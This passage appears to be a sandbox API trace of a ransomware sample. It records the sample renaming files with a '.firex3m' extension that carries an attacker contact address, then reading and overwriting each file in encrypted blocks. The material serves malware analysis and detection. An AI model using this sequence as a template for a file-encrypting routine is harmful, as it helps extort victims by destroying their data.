(dwMilliseconds=0x1) [0083.151] Sleep (dwMilliseconds=0x1) [0083.200] Sleep (dwMilliseconds=0x1) [0083.243] Sleep (dwMilliseconds=0x1) [0083.292] Sleep (dwMilliseconds=0x1) [0083.338] Sleep (dwMilliseconds=0x1) [0083.385] Sleep (dwMilliseconds=0x1) [0083.436] Sleep (dwMilliseconds=0x1) [0083.703] Sleep (dwMilliseconds=0x1) [0083.751] Sleep (dwMilliseconds=0x1) [0083.802] Sleep (dwMilliseconds=0x1) [0083.913] Sleep (dwMilliseconds=0x1) [0084.012] Sleep (dwMilliseconds=0x1) [0084.093] Sleep (dwMilliseconds=0x1) [0084.202] Sleep (dwMilliseconds=0x1) [0084.343] Sleep (dwMilliseconds=0x1) [0084.737] Sleep (dwMilliseconds=0x1) [0084.811] Sleep (dwMilliseconds=0x1) [0084.877] Sleep (dwMilliseconds=0x1) [0084.961] Sleep (dwMilliseconds=0x1) [0085.045] Sleep (dwMilliseconds=0x1) [0085.126] Sleep (dwMilliseconds=0x1) [0085.176] Sleep (dwMilliseconds=0x1) [0085.347] Sleep (dwMilliseconds=0x1) [0085.389] Sleep (dwMilliseconds=0x1) [0085.736] Sleep (dwMilliseconds=0x1) [0085.831] Sleep (dwMilliseconds=0x1) [0085.964] Sleep (dwMilliseconds=0x1) [0086.082] Sleep (dwMilliseconds=0x1) [0086.187] Sleep (dwMilliseconds=0x1) [0086.236] Sleep (dwMilliseconds=0x1) [0086.294] Sleep (dwMilliseconds=0x1) [0086.352] Sleep (dwMilliseconds=0x1) [0086.588] Sleep (dwMilliseconds=0x1) [0086.898] Sleep (dwMilliseconds=0x1) [0087.089] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\$WINRE_BACKUP_PARTITION.MARKER", len=0x21 | out: pbstr=0x587ff7c*="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 1 [0087.089] GetProcessHeap () returned 0x630000 [0087.089] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0xc) returned 0x6b1388 [0087.091] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0087.210] CloseHandle (hObject=0x66c) returned 1 [0087.210] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.210] MoveFileW (lpExistingFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), lpNewFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$winre_backup_partition.marker.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.210] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.210] FindFirstFileW (in: lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="$WINRE~1.FIR")) returned 0x6d4ec0 [0087.211] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0087.211] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef0c, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m3m") returned 48 [0087.211] MoveFileW (lpExistingFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$winre_backup_partition.marker.id-1998248312_[contact-support@elude.in].firex3m"), lpNewFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker")) returned 1 [0087.211] Sleep (dwMilliseconds=0x1) [0087.588] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", len=0x2c | out: pbstr=0x587ff7c*="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 1 [0087.588] GetProcessHeap () returned 0x630000 [0087.588] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x20) returned 0x6e9288 [0087.588] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0088.043] CloseHandle (hObject=0x620) returned 1 [0088.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.043] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0089.826] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0089.826] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5480 [0089.826] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0089.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0089.826] GetProcessHeap () returned 0x630000 [0089.827] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ff1da8 [0089.827] GetProcessHeap () returned 0x630000 [0089.827] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ffd1d8 [0089.828] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.828] ReadFile (in: hFile=0x620, lpBuffer=0x6ff1da8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1da8*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0096.149] GetProcessHeap () returned 0x630000 [0096.149] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0096.150] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.150] WriteFile (in: hFile=0x620, lpBuffer=0x6ffd1d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ffd1d8*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0096.150] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.150] WriteFile (in: hFile=0x620, lpBuffer=0x70085d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70085d7*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0096.150] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.150] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0096.150] CloseHandle (hObject=0x620) returned 1 [0096.153] GetProcessHeap () returned 0x630000 [0096.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ffd1d8 | out: hHeap=0x630000) returned 1 [0096.153] GetProcessHeap () returned 0x630000 [0096.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1da8 | out: hHeap=0x630000) returned 1 [0096.153] GetProcessHeap () returned 0x630000 [0096.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0096.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0096.154] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xff4363b4, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12d02, dwReserved0=0xaa87496, dwReserved1=0x6ff1da0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0096.154] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0096.154] Sleep (dwMilliseconds=0x1) [0098.109] Sleep (dwMilliseconds=0x1) [0099.634] Sleep (dwMilliseconds=0x1) [0100.938] Sleep (dwMilliseconds=0x1) [0101.616] Sleep (dwMilliseconds=0x1) [0102.217] Sleep (dwMilliseconds=0x1) [0102.431] Sleep (dwMilliseconds=0x1) [0102.616] Sleep (dwMilliseconds=0x1) [0102.885] Sleep (dwMilliseconds=0x1) [0102.999] Sleep (dwMilliseconds=0x1) [0103.185] Sleep (dwMilliseconds=0x1) [0103.306] Sleep (dwMilliseconds=0x1) [0103.549] Sleep (dwMilliseconds=0x1) [0104.688] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", len=0x38 | out: pbstr=0x587ff7c*="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 1 [0104.761] GetProcessHeap () returned 0x630000 [0104.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6998e8, Size=0x24) returned 0x699708 [0104.761] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0104.762] CloseHandle (hObject=0x6e4) returned 1 [0104.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.762] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.763] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x2001517, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI1658~1.FIR")) returned 0x6d4e40 [0104.763] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0104.763] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0104.763] GetProcessHeap () returned 0x630000 [0104.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0104.764] GetProcessHeap () returned 0x630000 [0104.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f11da8 [0104.764] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.764] ReadFile (in: hFile=0x6e4, lpBuffer=0x6f06978, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.724] GetProcessHeap () returned 0x630000 [0112.724] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0112.724] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.724] WriteFile (in: hFile=0x6e4, lpBuffer=0x6f11da8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11da8*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.724] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.724] WriteFile (in: hFile=0x6e4, lpBuffer=0x6f1d1a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1d1a7*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.725] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.725] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.725] CloseHandle (hObject=0x6e4) returned 1 [0112.727] GetProcessHeap () returned 0x630000 [0112.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f11da8 | out: hHeap=0x630000) returned 1 [0112.727] GetProcessHeap () returned 0x630000 [0112.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0112.729] GetProcessHeap () returned 0x630000 [0112.729] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0112.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.730] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9242fdc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xaa87496, dwReserved1=0x6f06970, cFileName="Microsoft-Windows-Known Folders API Service.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI1658~1.FIR")) returned 0x6d5580 [0112.730] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0112.730] Sleep (dwMilliseconds=0x1) [0113.708] Sleep (dwMilliseconds=0x1) [0114.301] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml", len=0x3d | out: pbstr=0x587ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 1 [0114.301] GetProcessHeap () returned 0x630000 [0114.301] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e0b8, Size=0x54) returned 0x68e118 [0114.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.301] Sleep (dwMilliseconds=0x1) [0114.882] Sleep (dwMilliseconds=0x1) [0115.141] Sleep (dwMilliseconds=0x1) [0115.445] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm", len=0x44 | out: pbstr=0x587ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0115.445] GetProcessHeap () returned 0x630000 [0115.445] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x18) returned 0x6b01f8 [0115.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.445] Sleep (dwMilliseconds=0x1) [0115.810] Sleep (dwMilliseconds=0x1) [0117.156] Sleep (dwMilliseconds=0x1) [0117.169] Sleep (dwMilliseconds=0x1) [0117.186] Sleep (dwMilliseconds=0x1) [0117.562] Sleep (dwMilliseconds=0x1) [0117.656] Sleep (dwMilliseconds=0x1) [0117.677] Sleep (dwMilliseconds=0x1) [0117.688] Sleep (dwMilliseconds=0x1) [0117.702] Sleep (dwMilliseconds=0x1) [0117.719] Sleep (dwMilliseconds=0x1) [0119.189] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", len=0x3e | out: pbstr=0x587ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 1 [0119.189] GetProcessHeap () returned 0x630000 [0119.189] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x168) returned 0x66a3e0 [0119.189] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0119.189] CloseHandle (hObject=0x68c) returned 1 [0119.195] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.196] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THIRDP~1.FIR")) returned 0x6d4e40 [0119.196] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0119.196] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0119.196] GetProcessHeap () returned 0x630000 [0119.196] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71fb580 [0119.196] GetProcessHeap () returned 0x630000 [0119.196] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72069b0 [0119.197] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.197] ReadFile (in: hFile=0x68c, lpBuffer=0x71fb580, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fb580*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0123.091] GetProcessHeap () returned 0x630000 [0123.091] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0123.091] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.091] WriteFile (in: hFile=0x68c, lpBuffer=0x72069b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72069b0*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0123.091] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.091] WriteFile (in: hFile=0x68c, lpBuffer=0x7211daf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7211daf*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.092] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.092] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.093] CloseHandle (hObject=0x68c) returned 1 [0123.096] GetProcessHeap () returned 0x630000 [0123.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72069b0 | out: hHeap=0x630000) returned 1 [0123.096] GetProcessHeap () returned 0x630000 [0123.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71fb580 | out: hHeap=0x630000) returned 1 [0123.099] GetProcessHeap () returned 0x630000 [0123.099] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0128.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, 